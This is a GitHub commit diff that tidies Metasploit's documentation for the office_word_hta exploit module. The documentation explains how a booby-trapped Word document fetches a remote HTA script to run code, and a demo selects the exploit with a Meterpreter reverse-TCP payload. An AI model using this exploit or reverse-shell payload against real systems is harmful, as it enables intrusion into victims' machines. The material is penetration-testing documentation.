Skip to content

Commit a7e9772

Browse files
authored
A few fixes for office_word_hta
- Add introduction header - Fix `Vulnerable Application` header and make it plural (multiple apps) - Remove unnecessary console line for example
1 parent daedf2a commit a7e9772

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

documentation/modules/exploit/windows/fileformat/office_word_hta.md

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,13 @@
1+
## Introduction
2+
13
Microsoft Office is an office suite of applications, servers, and services developed by Microsoft. Microsoft Office contains Microsoft Word, Microsoft Excel, Microsoft PowerPoint and so on. They can support OLE data integration and Virtusl Basic for Application scripting langauage.
24

35
FireEye detected malicious Microsoft Office RTF documents that leverage a previously undisclosed vulnerability. This vulnerability allows a malicious actor to execute a Visual Basic script when the user opens a document containing an embedded exploit. FireEye has observed several Office documents exploiting the vulnerability that download and execute malware payloads from different well-known malware families.
46

57
The attack involves a threat actor emailing a Microsoft Word document to a targeted user with an embedded OLE2link object. When the user opens the document, winword.exe issues a HTTP request to a remote server to retrieve a malicious .hta file, which appears as a fake RTF file. The Microsoft HTA application loads and executes the malicious script. In both observed documents the malicious script terminated the winword.exe process, downloaded additional payload(s), and loaded a decoy document for the user to see. The original winword.exe process is terminated in order to hide a user prompt generated by the OLE2link.
68

79

8-
## Vulnerable Application
10+
## Vulnerable Applications
911

1012

1113
- Windows Vista Service Pack 2
@@ -41,7 +43,6 @@ The attack involves a threat actor emailing a Microsoft Word document to a targe
4143
## Demo
4244

4345
```
44-
$ msfconsole
4546
msf > use exploit/windows/fileformat/office_word_hta
4647
msf exploit(office_word_hta) > set payload windows/meterpreter/reverse_tcp
4748
payload => windows/meterpreter/reverse_tcp

0 commit comments

Comments
 (0)